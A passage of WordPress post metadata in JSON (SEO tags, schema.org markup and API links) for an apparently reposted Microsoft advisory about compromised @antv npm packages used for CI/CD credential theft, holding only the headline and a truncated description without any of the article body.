theft_MSSECURE:6D00E966D9372364C645950D0C2319E5 - zero redgem","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/zero.redgem.net\/?p=55895","og_locale":"en_US","og_type":"article","og_title":"Mini Shai Hulud: Compromised @antv npm packages enable CI\/CD credential theft_MSSECURE:6D00E966D9372364C645950D0C2319E5 - zero redgem","og_description":"{&#8220;lastseen&#8221;:&#8221;2026-05-20T19:28:40&#8243;,&#8221;description&#8221;:&#8221;Microsoft has identified an active supply chain attack targeting the _@antv_ node package manager (npm) package ecosystem. A threat actor compromised an _@antv_ maintainer account...","og_url":"https:\/\/zero.redgem.net\/?p=55895","og_site_name":"zero redgem","article_published_time":"2026-05-20T14:41:29+00:00","author":"invoker","twitter_card":"summary_large_image","twitter_misc":{"Written by":"invoker","Est. reading time":"14 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/zero.redgem.net\/?p=55895#article","isPartOf":{"@id":"https:\/\/zero.redgem.net\/?p=55895"},"author":{"name":"invoker","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca"},"headline":"Mini Shai Hulud: Compromised @antv npm packages enable CI\/CD credential theft_MSSECURE:6D00E966D9372364C645950D0C2319E5","datePublished":"2026-05-20T14:41:29+00:00","mainEntityOfPage":{"@id":"https:\/\/zero.redgem.net\/?p=55895"},"wordCount":2742,"commentCount":0,"publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"keywords":["CVE","CVSS","exploit","mssecure","news","NONE","Security","tapic","Vulnerability"],"articleSection":["category_news"],"inLanguage":"en-US","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/zero.redgem.net\/?p=55895#respond"]}]},{"@type":"WebPage","@id":"https:\/\/zero.redgem.net\/?p=55895","url":"https:\/\/zero.redgem.net\/?p=55895","name":"Mini Shai Hulud: Compromised @antv npm packages enable CI\/CD credential theft_MSSECURE:6D00E966D9372364C645950D0C2319E5 - zero redgem","isPartOf":{"@id":"https:\/\/zero.redgem.net\/#website"},"datePublished":"2026-05-20T14:41:29+00:00","breadcrumb":{"@id":"https:\/\/zero.redgem.net\/?p=55895#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/zero.redgem.net\/?p=55895"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/zero.redgem.net\/?p=55895#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/zero.redgem.net\/"},{"@type":"ListItem","position":2,"name":"Mini Shai Hulud: Compromised @antv npm packages enable CI\/CD credential theft_MSSECURE:6D00E966D9372364C645950D0C2319E5"}]},{"@type":"WebSite","@id":"https:\/\/zero.redgem.net\/#website","url":"https:\/\/zero.redgem.net\/","name":"zero redgem","description":"","publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/zero.redgem.net\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Organization","@id":"https:\/\/zero.redgem.net\/#organization","name":"zero redgem","url":"https:\/\/zero.redgem.net\/","logo":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/","url":"","contentUrl":"","width":191,"height":188,"caption":"zero redgem"},"image":{"@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/"}},{"@type":"Person","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca","name":"invoker","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","caption":"invoker"},"sameAs":["https:\/\/zero.redgem.net"],"url":"https:\/\/zero.redgem.net\/?author=1"}]}},"_links":{"self":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/55895","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=55895"}],"version-history":[{"count":0,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/55895\/revisions"}],"wp:attachment":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=55895"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=55895"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=55895"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}